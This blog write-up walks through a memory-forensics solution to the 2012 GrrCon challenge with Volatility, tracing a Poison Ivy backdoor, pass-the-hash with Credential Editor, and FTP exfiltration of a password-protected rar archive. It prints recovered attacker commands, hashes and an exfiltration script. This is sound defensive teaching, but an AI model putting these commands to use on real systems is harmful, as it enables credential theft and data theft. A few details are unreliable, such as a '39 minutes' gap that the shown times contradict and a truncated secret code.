Solving the GrrCon Network Forensics Challenge with Volatility

In this post, we will walk through the process that MHL (@iMHLv2) and I (@attrc) went through to solve the @GrrCon network forensics challenge. Although participants were provided a memory sample, packet capture, and file system timeline, as a personal challenge our goal was to use only the provided memory sample. This required some very detailed investigation with Volatility and also a bit of Windows malware analysis skills. We believe that walking through the approach we took to solving the challenge will both showcase the power of memory analysis and Volatility, including newly released plugins, and also serve as a learning example for other investigators.

The GrrCon Challenge

GrrCon is an information security conference in Michigan that just recently put on their 2012 offering. I first found out about the GrrCon challenge from this tweet:

I then tweeted to @GrrCon to see if we could get the challenge files and soon after that Jack Crook (@jackcr), the creator of the challenge, sent the evidence files to us. Before we get started, congratulations go to Piotr Zbiegiel (@pzbiegiel), Randy Armknecht (@rarmknecht), and Mike Ahrendt (@mikeahrendt) for placing in the challenge. And thanks to Jack for creating the challenge and sharing the files with us even though we weren’t able to attend the conference.

Challenge Questions

1. How was the attack delivered?
2. What time was the attack delivered?
3. What was that name of the file that dropped the backdoor?
4. What is the ip address of the C2 server?
5. What type of backdoor is installed?
6. What is the mutex the backdoor is using?
7. Where is the backdoor placed on the filesystem?
8. What process name and process id is the backdoor running in?
9. What additional tools do you believe were placed on the machine?
10. What directory was created to place the newly dropped tools?
11. How did the attacker escalate privileges?
12. What level of privileges did the attacker obtain?
13. How was lateral movement performed?
14. What was the first sign of lateral movement?
15. What documents were exfiltrated?
16. How and where were the documents exfiltrated?
17. What additional steps did the attacker take to maintain access?
18. How long did the attacker have access to the network?
19. What is the secret code inside the exfiltrated documents?
20. What is the password for the backdoor?

Starting the Investigation

We will now discuss how we approached and solved the challenge. Note that MHL and I were doing our analysis separately, and chatting on IM. We also did not do the questions in order and simply figured them out as the investigation proceeded. This analysis portion is written in a time-linear fashion to show our approach as opposed to sorting it by the question number.

I started by running imageinfo to determine which OS was installed on the challenge machine. This reported Windows XP SP3 x86.  I then scripted out running of all the commonly used Windows plugins into per-plugin output files. This makes grepping, sorting, and other operations easier throughout the investigative process.

The first plugin I looked at was connections as this lists the open network connections for XP systems. Based on the challenge questions and the fact that most malware will have some sort of network activity, I assumed this would be a good starting place:

# python vol.py -f memdump.img connections
Volatile Systems Volatility Framework 2.2_rc2
Offset(V)  Local Address             Remote Address               Pid
---------- ------------------------- ------------------------- ------
0x8201ce68 172.16.150.20:1365        172.16.150.10:139              4
0x82018e00 172.16.150.20:1424        221.54.197.32:443           1096

# python vol.py -f memdump.img pslist -p 4,1096
Volatile Systems Volatility Framework 2.2_rc2
Offset(V)  Name                    PID   PPID   Thds     Hnds   Sess  Wow64 Start                Exit
---------- -------------------- ------ ------ ------ -------- ------ ------ -------------------- --------------------
0x823c8830 System                    4      0     51      269 ------      0
0x8214a020 explorer.exe           1096   1212     13      317      0      0 2012-04-28 02:20:54

It seems my first instinct was correct as the output of connections and pslist with the filtered PIDs is showing us that explorer.exe is making a connection to a remote server on port 443. While this isn’t inherently malicious, it’s definitely something to check out. Sure enough, at the same time as I was studying the above output, I got a message from MHL:

MHL: theres a bunch of code injected in explorer and a the IP address for the network connection on port 443 is also in the memory of explorer

$ python vol.py -f memdump.img yarascan -p 1096 -Y "221.54.197.32"
Volatile Systems Volatility Framework 2.3_alpha
Rule: r1
Owner: Process explorer.exe Pid 1096
0x01310191  32 32 31 2e 35 34 2e 31 39 37 2e 33 32 00 bb 01   221.54.197.32...
0x013101a1  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0x013101b1  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0x013101c1  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ...............

MHL: the code is injected in like 20 different spots in explorer
MHL: you can see with malfind

$ python vol.py -f memdump.img malfind -p 1096
Process: explorer.exe Pid: 1096 Address: 0x1c70000
Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6

0x01c70000  53 56 8b c8 8b 99 b4 08 00 00 8b 73 34 8b ca 33   SV.........s4..3
0x01c70010  db 89 19 33 db 89 59 04 33 db 89 59 08 33 db 89   ...3..Y.3..Y.3..
0x01c70020  59 0c 33 c9 ff 96 d4 01 00 00 5e 5b c3 00 00 00   Y.3.......^[....
0x01c70030  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................

0x1c70000 53               PUSH EBX
0x1c70001 56               PUSH ESI
0x1c70002 8bc8             MOV ECX, EAX
0x1c70004 8b99b4080000     MOV EBX, [ECX+0x8b4]
0x1c7000a 8b7334           MOV ESI, [EBX+0x34]
0x1c7000d 8bca             MOV ECX, EDX

This showed that MHL had determined the same information, but took a different approach. Instead of connections & pslist, he first ran malfind, which pointed him to a number of code injections inside the explorer process. He then used connections to determine the activity for the specific process.

Question 4 - What is the ip address of the C2 server?
- 221.54.197.32

 Question 8 - What process name and process id is the backdoor running in?
- 1096 / explorer

Answering Questions 5 & 6
Question 6 asks for the mutex name of the backdoor, which led to this conversation:

attc: its posion ivy
attc: i ran handles and filtered for mutants owned by explorer

$ python vol.py -f memdump.img handles -p 1096 -t Mutant --silent
Volatile Systems Volatility Framework 2.2
Offset(V)     Pid     Handle     Access Type             Details
---------- ------ ---------- ---------- ---------------- -------
0x82122810   1096       0x20   0x1f0001 Mutant           SHIMLIB_LOG_MUTEX
0x82320348   1096       0xb0   0x1f0001 Mutant           ExplorerIsShellMutex
0x8213eec8   1096       0xc4   0x120001 Mutant           ShimCacheMutex
0x821422b8   1096      0x2f0   0x1f0001 Mutant           )!VoqA.I4
0x8226f620   1096      0x2f8   0x1f0001 Mutant           _SHuassist.mtx
0x81fff188   1096      0x308   0x1f0001 Mutant           ZonesCounterMutex

attc: found this
attc: )!VoqA.I4
attc: and googled..

MHL: yeah i saw that
MHL: its in the mem of explorer too
MHL: i just ran mutantscan and that )!VoqA.I4 stood out

After finding the strangely named mutex, I Googled it, and the first page was full of references to Poison Ivy. We now had the answers to questions 5 and 6:

Question 5 - What type of backdoor is installed?
- Posion Ivy
Question 6 – What is the mutex the backdoor is using?
- )!VoqA.I4

Answering Question 7

This question asked “Where is the backdoor placed on the filesystem?” Before I even had a chance to look into this, MHL figured it out:

MHL: if you run strings on the same vad segment that contains the mutex name, you see svchosts.exe
MHL: when the real name is svchost.exe
MHL: so that's probably the file name on disk
MHL: well the string in memory doesn't necessarily mean the file was ever created
MHL: check with filescan though

$ python vol.py -f memdump.img filescan | grep svchosts
Volatile Systems Volatility Framework 2.3_alpha
0x01fef320      1      0 R--rw- \Device\HarddiskVolume1\WINDOWS\system32\svchosts.exe
0x02119200      1      0 R--r-d \Device\HarddiskVolume1\WINDOWS\system32\svchosts.exe

So his approach was to run vaddump on the infected process and then look for any strange references inside of it. This led to the discovery of svchosts.exe as opposed to svchost.exe. He then ran filescan, which carves memory for opened file handles (both active and previously closed) and reports them. As can be seen in his chat message, there were previously opened file handles that pointed to WINDOWS\system32\svchosts.exe. We now could answer question 7.

MHL also said this:

MHL: there's also this string in explorer one of the injected segments

0000020: 534f 4654 5741 5245 5c4d 6963 726f 736f  SOFTWARE\Microso
0000030: 6674 5c57 696e 646f 7773 5c43 7572 7265  ft\Windows\Curre
0000040: 6e74 5665 7273 696f 6e5c 5275 6e00 57ff  ntVersion\Run.W.

MHL: i used printkey and that ties up some loose ends 

$ python vol.py -f memdump.img printkey -K "Microsoft\Windows\CurrentVersion\Run"
Volatile Systems Volatility Framework 2.2
Legend: (S) = Stable   (V) = Volatile

----------------------------
Registry: \Device\HarddiskVolume1\WINDOWS\system32\config\software
Key name: Run (S)
Last updated: 2012-04-28 01:59:22 

Subkeys:
  (S) OptionalComponents

Values:
REG_SZ        Adobe Reader Speed Launcher : (S) "C:\Program Files\Adobe\Reader 9.0\Reader\Reader_sl.exe"
REG_SZ        Adobe ARM       : (S) "C:\Program Files\Common Files\Adobe\ARM\1.0\AdobeARM.exe"
REG_SZ        svchosts        : (S) C:\WINDOWS\system32\svchosts.exe

So based on a string near the malicious mutex, we found a registry path and then queried the cached registry content in kernel memory. It contained a run key for svchosts.exe which is the binary we already suspected to be related to the malware.

Question 7. Where is the backdoor placed on the filesystem?
- C:\windows\system32\svchosts.exe

Answering Question 20

As I was working on the questions related to data exfiltration, I got this message from MHL:

MHL: good call on the poisonivy

$ python vol.py -f memdump.img poisonivyconfig -p 1096
Volatile Systems Volatility Framework 2.3_alpha
-------------------------------------
Process: explorer.exe (1096)

Infection:
PoisonIvy has ADMIN privileges!
Version: 231
Base VA: 0x01300000
Extra VA: 0x01970000
Data VA: 0x01310000
Mutex: )!VoqA.I4
Original file: C:\WINDOWS\system32\svchosts.exe
Melt original file: ON

Command and Control:
Host 01: 221.54.197.32:443 (direct)
Password: tigers
Id: tigers
Group: 

Keylogger:
Keylogger: off

Copy file:
Copy routine: 0x019c0000
Destination: %WINDIR%\System32\svchosts.exe

Persistence:
Active Setup: off
HKLM Run: ON
HKLM Run name: svchosts
Setup routine: 0x01410000

Injector:
Inject into other processes: ON
Persistently: ON
Injector TID: 0
Injector Routine: 0x00000000
Target process name: explorer.exe
Target default browser: ON

Proxy:
Use Proxy: off

posionivyconfig is a Volatility plugin from Andreas Schuster (@forensikblog) that can locate and parse the backdoor’s configuration file in memory.  The plugin reported a number of interesting pieces of information that we had found before (svchosts.exe, run key manipulation, mutex, C&C server IP address), but also told us a new piece of information that also happened to be the answer to question 20.

Question 20. What was the password for the backdoor?
– tigers

Answering Questions 1 & 3 (Accidentally)

I wanted to determine which documents were exfiltrated and how. I took the following approach. Note: remember this is played over IM, so the reason I grepped for “swing” is explained a little further into the chat logs.

attc: i grepped for swing 

$ grep swing grr/strings-vol
076173e0 [kernel e16893e0] \Documents and Settings\binge\Local Settings\Temporary Internet Files\Content.IE5\G1UV09YV\swing-mechanics.doc[1].exe Zone.Identifierr
0773e158 [624 008d5158 1024 03755158 1096 009f5158 1120 00905158] \??\C \Documents and Settings\binge\Local Settings\Temporary Internet Files\Content.IE5\G1UV09YV\swing-mechanics.doc[1].exe
0fde1af2 [kernel e11f0af2] swing-mechanics.doc[1].exeSWING-MECHANICS.DOC[1].EXE
10633362 [kernel e1276362] iles\Content.IE5\G1UV09YV\swing-mechanics.doc[1].exe.Local
11cc6e3a [kernel d9981e3a] swing-mechanics.doc[1].exe

attc: .doc.exe
attc: and
attc: SWING-MECHANICS.DOC[1].EXE-013CEA10.pf
attc: there’s a prefetch file, so it definitely ran...
attc: i searched for "\.doc"
attc: and saw that swing file
attc: then searched swing
attc: i did xls ppt and pdf too
attc: but didnt see anything interesting

MHL: let's check if the file was opened by any processes

$ python vol.py -f memdump.img filescan | grep doc
Volatile Systems Volatility Framework 2.3_alpha
0x01fe8b28      1      0 R--rw- \Device\HarddiskVolume1\WINDOWS\system32\mydocs.dll
0x02211e00      1      0 RW-rwd \Device\HarddiskVolume1\Documents and Settings\binge\Local Settings\Temporary Internet Files\Content.IE5\G1UV09YV\swing-mechanics.doc[1].exe

In summary, I was searching the output of Volatility’s strings plugin for references to common Microsoft files and PDF files. This led me to a file of swing-mechanics.doc[1].exe, which an extension of .doc.exe is immediately suspicious. We also see that this file is 1) stored within IE’s browsing cache and 2) there is a prefetch (.pf) file associated with the executable, so we know that it ran. This led us to the following answers:

Question 1 - How was the attack delivered?
 – HTTP / IE
Question 3 - What was that name of the file that dropped the backdoor?
 – swing-mechanics.doc[1].exe

Even though I was not looking for the infection point, I happened to stumble across it while searching for documents and along the way answered questions 1 and 3. Also, while looking around the strings produced by this search and similar ones, I found many other interesting entries that will be used to solve other questions.

Answering Questions 11 and 13

These questions asked how did the attacker escalate privileges and how was lateral movement performed. To find commands that executed, we normally first use both the cmdscan and consoles plugins:

# python vol.py -f memdump.img cmdscan
Volatile Systems Volatility Framework 2.2
**************************************************
CommandProcess: csrss.exe Pid: 596
CommandHistory: 0x4f7e00 Application: cmd.exe Flags: Allocated, Reset
CommandCount: 13 LastAdded: 12 LastDisplayed: 12
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x4b8
Cmd #0 @ 0x4fcbe0: z:
Cmd #1 @ 0x4f2370: net use z: \\DC01\response
Cmd #2 @ 0x4fcaa0: z:
Cmd #3 @ 0x4fcbd0: dir
Cmd #4 @ 0x4fc028: mdd.exe -o memdump.bin
Cmd #5 @ 0x4f1eb8: copy mdd.exe c:
Cmd #6 @ 0x4fcb60: c:
Cmd #7 @ 0x4fcb30: cd\
Cmd #8 @ 0x4f4e80: mdd.exe -o memdump.img
Cmd #9 @ 0x4fcb00: dir
Cmd #10 @ 0x4fcb70: copy z:\mdd.exe .
Cmd #11 @ 0x4fbf00: dir
Cmd #12 @ 0x4fcab0: mdd.exe -o memdump.img
Cmd #13 @ 0x4fc208: Otp 66.32.119.38
Cmd #14 @ 0x4fcb70: copy z:\mdd.exe .
Cmd #15 @ 0x4fc458: ??
**************************************************
CommandProcess: csrss.exe Pid: 596
CommandHistory: 0x4fc538 Application: mdd.exe Flags: Allocated
CommandCount: 0 LastAdded: -1 LastDisplayed: -1
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x56c
Cmd #0 @ 0x4fca88: O?Ok
Cmd #1 @ 0x4fcaa0: z:
Cmd #2 @ 0x4fcb10: Out 1.txt
Cmd #3 @ 0x4fcb00: dir
Cmd #4 @ 0x4fcb40: Out 2.txt
Cmd #5 @ 0x4fcb30: cd\

# python vol.py -f memdump.img consoles
**************************************************
Screen 0x4f2ab0 X:80 Y:300
Dump:
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\administrator>z:
The system cannot find the drive specified.

C:\Documents and Settings\administrator>net use z: \\DC01\response
The command completed successfully.

C:\Documents and Settings\administrator>z:

[snip]

C:\>mdd.exe -o memdump.img
 -> mdd
 -> ManTech Physical Memory Dump Utility
    Copyright (C) 2008 ManTech Security & Mission Assurance

 -> This program comes with ABSOLUTELY NO WARRANTY; for details use option `-w'
    This is free software, and you are welcome to redistribute it
    under certain conditions; use option `-c' for details.

 -> Dumping 511.48 MB of physical memory to file 'memdump.img'.

As we can see in this output, we certainly recovered commands and their output, but they were all related to the collection process and not the attacker’s actions.

Since the previous plugins did not produce relevant output, we then searched memory for references to cmd.exe:

# grep "cmd.exe \-" grr/raw-strings
cmd.exe - Applying shim AddProcessParametersFlags(20000) from AcGenral.DLL
\WINDOWS\system32\cmd.exe - mdd.exe -o memdump.bin
\WINDOWS\system32\cmd.exe - copy mdd.exe c:
2\cmd.exe - net use z: \\DC01\response
O\WINDOWS\system32\cmd.exe - copy z:\mdd.exe .
\WINDOWS\system32\cmd.exe - dir
\WINDOWS\system32\cmd.exe - w.exe -s Administrator:COMPANY-A:a15153d335c2751f17306d272a9441bb:835fd21aac32076df24dc75e0c77144f -c cmd.exe
\WINDOWS\system32\cmd.exe - mdd.exe -o memdump.img
\WINDOWS\system32\cmd.exe - mdd.exe -o memdump.img
\WINDOWS\system32\cmd.exe - net use x: \\DC01\Acquisitions /PERSISTENCE:no
\WINDOWS\system32\cmd.exe - net use x: \\DC01\Acquisitions
O\WINDOWS\system32\cmd.exe - net use z: \\DC01\response
\WINDOWS\system32\cmd.exe - ftp 66.32.119.38

This showed a few interesting lines. First we see an invocation to ftp.exe, which will be relevant in another question. Next, we see the command line arguments to w.exe, which are obviously related to a pass-the-hash type attack, and MHL immediately identified it as being Windows credential editor. We then wanted to try and obtain the hashes from the registry hives in-memory to compare those given in the w.exe invocation, but unfortunately the needed information to perform this process as not available (relevant registry keys were paged out).

We also see calls to “net use”, which allows the attacker to perform a wide range of administrate tasks from the command line. By searching for “net use” in memory, we see references to a machine named “RES-LAB01” and strings from SysInternals Psexec tool around the RES-LAB memory regions.  Although we could not recover direct invocations of PSExec, we strongly believe it was used for lateral movement to RES-LAB01 and possibly RES-LAB02 as well.

11. How did the attacker escalate privileges?
- WCE to domain admin, pass the hash
13. How was lateral movement performed?
- Through combinations of “net use” and PSExec

Answering Questions 9 and 10

After seeing the invocation to w.exe, I then searched the strings output for references to the binary.   This uncovered references to a directory named \WINDOWS\system32\systems\, which is not a standard Windows directory. Next, I ran filescan and filtered for the directory:

# grep systems grr/filescan
0x02061440      1      0 -W---- \Device\HarddiskVolume1\WINDOWS\system32\systems\f.txt
0x02061f28      1      0 R--rw- \Device\HarddiskVolume1\WINDOWS\system32\systems\sysmon.exe
0x0215d528      1      0 R--r-- \Device\HarddiskVolume1??INDOWS\system32\systems\g.exe
0x021be7a0      1      0 R--r-d \Device\HarddiskVolume1\WINDOWS\system32\systems\r.exe
0x02220380      1      0 R--r-d \Device\HarddiskVolume1\WINDOWS\system32\systems\g.exe
0x022247e0      1      0 R--rw- \Device\HarddiskVolume1\WINDOWS\system32\systems\p.exe
0x02229978      1      0 R--r-d \Device\HarddiskVolume1\WINDOWS\system32\systems\p.exe
0x022e4ab8      1      0 R--r-d \Device\HarddiskVolume1\WINDOWS\system32\systems\w.exe
0x19e12528      1      0 R--r-- \Device\HarddiskVolume1??INDOWS\system32\systems\g.exe
0x1a435380      1      0 R--r-d \Device\HarddiskVolume1\WINDOWS\system32\systems\g.exe
0x1a5d37a0      1      0 R--r-d \Device\HarddiskVolume1\WINDOWS\system32\systems\r.exe
0x1a636440      1      0 -W---- \Device\HarddiskVolume1\WINDOWS\system32\systems\f.txt
0x1a636f28      1      0 R--rw- \Device\HarddiskVolume1\WINDOWS\system32\systems\sysmon.exe

This showed a large number of executable tools and a file named f.txt. I then searched for prefetch files related to these executables:

# grep "\.pf" grr/strings-vol | grep ' [A-Z]\.EXE'
0305c89a [kernel c15c289a] P.EXE-04500029.pf.p
0305ca62 [kernel c15c2a62] R.EXE-19834F9B.pf-0
035498e2 [kernel c15c08e2] G.EXE-24E91AA8.pfDA
0354db2a [kernel c15c1b2a] W.EXE-0A1E603F.pf5B
074bf2fa [kernel e15c22fa] G.EXE-24E91AA8.pfG.EXE-24E91AA8.PF
0d6b4562 [kernel e0ac4562] R.EXE-19834F9B.pf
109842fa [kernel e106e2fa] P.EXE-04500029.pfP.EXE-04500029.PF
13d91ada [kernel e190aada] W.EXE-0A1E603F.pfW.EXE-0A1E603F.PF
18229d62 [kernel e0ac0d62] W.EXE-0A1E603F.pf
19148162 [kernel e0ac1162] G.EXE-24E91AA8.pf
1b2dd162 [kernel e0ac2162] P.EXE-04500029.pf

Which showed that many of the dropped tools had been executed. At this point we could easily answer questions 9 and 10:

9. What additional tools do you believe were placed on the machine?
– All the executable shown in the filescan output. Some can be identified (i.e winrar, psexec, etc), but others are still unknown (because the file names are obscured and no part of the executable remained in memory at the time).

10. What directory was created to place the newly dropped tools?
- C:\WINDOWS\system32\systems\

Answering Question 12

This question asked what privilege level was obtained by the attacker. MHL quickly answered this one and I will simply copy/paste his messages:

MHL: well explorer and all other user applications already have Admin/Everyone SIDs, so the logged on user account was probably already an administrator before the infection occurred

$ python vol.py -f memdump.img getsids -p 1096
Volatile Systems Volatility Framework 2.1_rc3
explorer.exe (1096): S-1-5-21-2682149276-1333600406-3352121115-500 (Administrator)
explorer.exe (1096): S-1-5-21-2682149276-1333600406-3352121115-513 (Domain Users)
explorer.exe (1096): S-1-1-0 (Everyone)
explorer.exe (1096): S-1-5-32-545 (Users)
explorer.exe (1096): S-1-5-32-544 (Administrators)
explorer.exe (1096): S-1-5-4 (Interactive)
explorer.exe (1096): S-1-5-11 (Authenticated Users)
explorer.exe (1096): S-1-5-5-0-206541 (Logon Session)
explorer.exe (1096): S-1-2-0 (Local (Users with the ability to log in locally))
explorer.exe (1096): S-1-5-21-2682149276-1333600406-3352121115-519 (Enterprise Admins)
explorer.exe (1096): S-1-5-21-2682149276-1333600406-3352121115-1115
explorer.exe (1096): S-1-5-21-2682149276-1333600406-3352121115-518 (Schema Admins)
explorer.exe (1096): S-1-5-21-2682149276-1333600406-3352121115-512 (Domain Admins)
explorer.exe (1096): S-1-5-21-2682149276-1333600406-3352121115-520 (Group Policy Creator Owners)

MHL: we can also get more granular and check which privileges specifically were enabled by the malware
MHL: The following privileges are enabled, but they were not enabled in explorer.exe by default (so they were activated by code running in the context of explorer sometime after the process started). 

$ python vol.py -f memdump.img privs -p 1096 -s
Volatile Systems Volatility Framework 2.1_rc3
Process            Pid      Privilege                          Attributes
explorer.exe       1096     SeUndockPrivilege                  Enabled
explorer.exe       1096     SeDebugPrivilege                   Enabled
explorer.exe       1096     SeLoadDriverPrivilege              Enabled

So it appears since the malware had admin access, it enabled the debug and load driver privileges for the parent process (explorer.exe). As far as we know, Poison Ivy did not load a kernel driver, so it could have been one of the other tools or maybe just preparation for loading a driver in the future.

MHL: The other artifact is “PoisonIvy has ADMIN privileges!” from poisonivyconfig output.

12. What level of privileges did the attacker obtain?
- Administrator with debug and load driver priv

Answering Questions 15, 16, and 19

We also were able to answer these questions from the strings output.  While looking for invocations related to “net use” for the previous questions, I found this output:

\WINDOWS\system32\cmd.exe - net use x: \\DC01\Acquisitions
O x:
mkdir 1
copy x:\* 1
O.exe a -hpqwerty 1 1.txt

This shows that the X: drive was mounted as remote share and then all of its files were copied into the directory ‘1’. This directory was then compressed with winrar with a password of “qwerty” and a filename of 1.txt.

Note: We knew that O.exe is rar.exe based on the “-hp” parameter. This part required some help from Aaron (@4tphi) ;)

To figure out how the files were exfiltrated, we revisited the ftp invocation we saw when grep’ing for cmd.exe. This quickly showed us the following output:

# grep -A 30 "open 6" strings-vol
15938918 [kernel c75bf918] open 66.32.119.38
1593892b [kernel c75bf92b] jack
15938931 [kernel c75bf931] 2awes0me
1593893b [kernel c75bf93b] lcd c \WINDOWS\System32\systems
1593895c [kernel c75bf95c] cd/home/jack
1593896c [kernel c75bf96c] binary
15938974 [kernel c75bf974] mput "*.txt"
15938982 [kernel c75bf982] disconnect

In this output, we can see an ftp connection to 66.32.119.38, a login with a username of “jack”, and a password of “2awes0me”. We then see the “lcd” command to the systems directory, which makes that the current local working directory of the ftp client, and a “cd” command to /home/jack, which makes it the working directory on the remote server. We then see the client put into binary mode and a multiple file transfer of all *.txt files. Since we know that our exfiltrated file was written into the systems directory as 1.txt, we know that it will be exfiltrated during this command sequence.

We now needed to figure out what files were in this archive at the time of exfiltration. To answer this question, we used to the mft-parser plugin, which was not in Volatility at the time of the challenge, but was introduced last week at OMFW 2012.  This plugin parses the MFT out of memory and reports all MAC times (SN, FI, etc) as well as the full path of the file. For MFT-resident files, it also reports the file contents.  Please see Jamie's (@gleeda) presentation called Reconstructing the MBR and MFT from Memory.

After running this plugin, we simply had to grep for files in the systems\1 directory that was archived and exfiltrated:

# grep systems\\\\1 grr/mft-out
Full Path: WINDOWS\system32\systems\1\CONFID~3.PDF
Full Path: WINDOWS\system32\systems\1\confidential3.pdf
Full Path: WINDOWS\system32\systems\1\CONFID~4.PDF
Full Path: WINDOWS\system32\systems\1\confidential4.pdf
Full Path: WINDOWS\system32\systems\1\CO20EF~1.PDF
Full Path: WINDOWS\system32\systems\1\confidential5.pdf
Full Path: WINDOWS\system32\systems\1
Full Path: WINDOWS\system32\systems\1\CONFID~4.PDF
Full Path: WINDOWS\system32\systems\1\confidential4.pdf

In this output, we can see a number of PDF files that would have been part of the compressed and exfiltrated archive. Also, while manually going through the mftparser output related to the systems directory, I saw that f.txt was a resident file and was actually a script of the ftp commands we had previously saw in strings (we used the MFT plugin well after we had gone through all the strings of interest):

MFT entry found at offset 0x15938800
Type: In Use & File
Record Number: 12030
Number of fixup array vals 3
Link count: 1
Sequence Value: 0x3
Fixup Array: 0x9 0x0 0x0

$STANDARD_INFO
Creation             Modified             MFT Altered          Access Date          Type
-------------------- -------------------- -------------------- -------------------- ----
2012-04-28 02:01:43  2012-04-28 02:01:43  2012-04-28 02:01:43  2012-04-28 02:01:43  Archive

$FILE_NAME
Creation             Modified             MFT Altered          Access Date          Name/Path
-------------------- -------------------- -------------------- -------------------- ---------
2012-04-28 02:01:43  2012-04-28 02:01:43  2012-04-28 02:01:43  2012-04-28 02:01:43  f.txt
Full Path: WINDOWS\system32\systems\f.txt

$DATA
0x00000000: 7b 00 00 00 18 00 00 00 6f 70 65 6e 20 36 36 2e   {.......open.66.
0x00000010: 33 32 2e 31 31 39 2e 33 38 0d 0a 6a 61 63 6b 0d   32.119.38..jack.
0x00000020: 0a 32 61 77 65 73 30 6d 65 0d 0a 6c 63 64 20 63   .2awes0me..lcd.c
0x00000030: 3a 5c 57 49 4e 44 4f 57 53 5c 53 79 73 74 65 6d   :\WINDOWS\System
0x00000040: 33 32 5c 73 79 73 74 65 6d 73 0d 0a 63 64 20 20   32\systems..cd..
0x00000050: 2f 68 6f 6d 65 2f 6a 61 63 6b 0d 0a 62 69 6e 61   /home/jack..bina
0x00000060: 72 79 0d 0a 6d 70 75 74 20 22 2a 2e 74 78 74 22   ry..mput."*.txt"
0x00000070: 0d 0a 64 69 73 63 6f 6e 6e 65 63 74 0d 0a 62 79   ..disconnect..by
0x00000080: 65 0d 0a 00 00 00 00 00                                          e.......

At this point we wanted to recover the file that was exfiltrated to recover the secret code (question 19). As it turns out, this was the only question that we had to use other evidence (the pcap file) besides memory to answer.  Our first approach was to memdump and then carve for RARs with photrec. We knew this had no real chance of working, but would have made our lives easier. Using this approach, photorec found the first 1/4th of the file in-tact but the rest was overwritten.

After this, we then used Aaron’s new cached file recovery plugin (see Cache Rules Everything Around Me(mory)). This plugin was also introduced at OMFW so GrrCon attendees would not have had a chance to use it during the conference. Briefly, this plugin pulls files from the Windows file cache, similar to how Volatlity’s Linux support pulls files from the page cache with linux_tmpfs and linux_find_file. Our hope was to use this plugin to recover the RAR file. Unfortunately, this did not work as the file was not memory resident, but it did recover many complete registry hives, which we used to answer a later question.

At this point, it was pretty hopeless to recover the RAR file from memory, so we investigated the pcap file with Wireshark. This led to quickly finding the FTP transfer and saving the rar file. We knew that the password was “qwerty” from the recovered rar invocation and opened the rar.

To our surprise, besides the PDF files, which were all 20MB and full of 0s, there was also an .odt file. There was only one reference to this odt file in memory and it does not appear in the mftparser output, filescan, or any of the other usual places. This made us think that the odt was in the rar file before it was transferred to the compromised machine and the PDF files added. If you look at the rar.exe invocation, it is done with the “a” flag, which means to append to an existing file. We believe that the odt file was kept off the machine where the memory image came from in order to avoid directly recovering it, since it contained the secret code.

To recover the secret code, I simply unzipped the file and then did strings on the relevant document section (doc/context.xml), which showed this:

If you have found this document, you will need the secret code 76bca1417cb12d09e74d3bd4fe3388e9.

Note:  I could have opened the file in Word or Open Office and read it, but I strongly dislike GUIs while doing forensics.

Question 15 - What documents were exfiltrated?
- All the pdfs listed plus the “Tokyo Tigers Expansion.odt” file
Question 16 - How and where were the documents exfiltrated?
- ftp - 66.32.119.38
Question 19 - What is the secret code inside the exfiltrated documents?
- 76bca1417cb12d09e74d3bd4fe3388e

Answering Question 17

The next question asked what steps were taken by the attacker to maintain network access.  For this we needed to finally analyze the Run key that MHL found early on. We analyzed the hives recovered by Aaron’s plugin. We then processed these hives with Registry Decoder and ran the Systems Run plugin. This showed that the svchosts.exe file was present within the Run key and would execute when the system was booted.

Question 17 – What steps were used to main network access?
- Run key with svchosts

Answering Questions 2 and 14

All of these questions related to time information, and were basically begging you to use the provided timeline and/or the pcap file, but when you have Volatility and gleeda’s mftparser plugin, then who needs those things ;)

Question 2 asked for when the attack first delivered. We solved this by looking at the creation time for the swing.doc.exe prefetch file and also the svchosts.exe file:

***************************************************************************
MFT entry found at offset 0x14c42000
Type: In Use & File
Record Number: 12024
Number of fixup array vals 3
Link count: 2
Sequence Value: 0x4
Fixup Array: 0x3 0x0 0x0

$STANDARD_INFO
Creation             Modified             MFT Altered          Access Date          Type
-------------------- -------------------- -------------------- -------------------- ----
2012-04-28 01:59:22  2012-04-28 01:59:22  2012-04-28 01:59:22  2012-04-28 01:59:22  Archive & Content not indexed

$FILE_NAME
Creation             Modified             MFT Altered          Access Date          Name/Path
-------------------- -------------------- -------------------- -------------------- ---------
2012-04-28 01:59:22  2012-04-28 01:59:22  2012-04-28 01:59:22  2012-04-28 01:59:22  SWING-~1.PF
Full Path: WINDOWS\Prefetch\SWING-~1.PF

$FILE_NAME
Creation             Modified             MFT Altered          Access Date          Name/Path
-------------------- -------------------- -------------------- -------------------- ---------
2012-04-28 01:59:22  2012-04-28 01:59:22  2012-04-28 01:59:22  2012-04-28 01:59:22  SWING-MECHANICS.DOC[1].EXE-013CEA10.pf
Full Path: WINDOWS\Prefetch\SWING-MECHANICS.DOC[1].EXE-013CEA10.pf

$DATA
non-resident

***************************************************************************
MFT entry found at offset 0x14c42800
Type: In Use & File
Record Number: 12026
Number of fixup array vals 3
Link count: 1
Sequence Value: 0x3
Fixup Array: 0x3 0x0 0x0

$STANDARD_INFO
Creation             Modified             MFT Altered          Access Date          Type
-------------------- -------------------- -------------------- -------------------- ----
2012-04-28 01:59:22  2012-04-28 01:59:22  2012-04-28 02:20:56  2012-04-28 02:20:56  Archive

$FILE_NAME
Creation             Modified             MFT Altered          Access Date          Name/Path
-------------------- -------------------- -------------------- -------------------- ---------
2012-04-28 01:59:22  2012-04-28 01:59:22  2012-04-28 01:59:22  2012-04-28 01:59:22  svchosts.exe
Full Path: WINDOWS\system32\svchosts.exe

$DATA
non-resident

Question 14 asked for what was the first sign of lateral movement. We solved this by looking at the tools we know were used for lateral movement (w.exe, net use). This showed the following:

- w.exe had a create time of 2012-04-28 02:02:38
- the prefetch file for net.exe (it comes with Windows, so we want to know when it was executed) had a create time of - 2012-04-28 01:59:56
-       net.exe was run 39 minutes before w.exe, so we marked it as the first sign of lateral movement.

Question 2. What time was the attack delivered?
- 2012-04-28 01:59:22

Question 14. What was the first sign of lateral movement?
- The use of net.exe at 2012-04-28 01:59:56

Summary & Thoughts

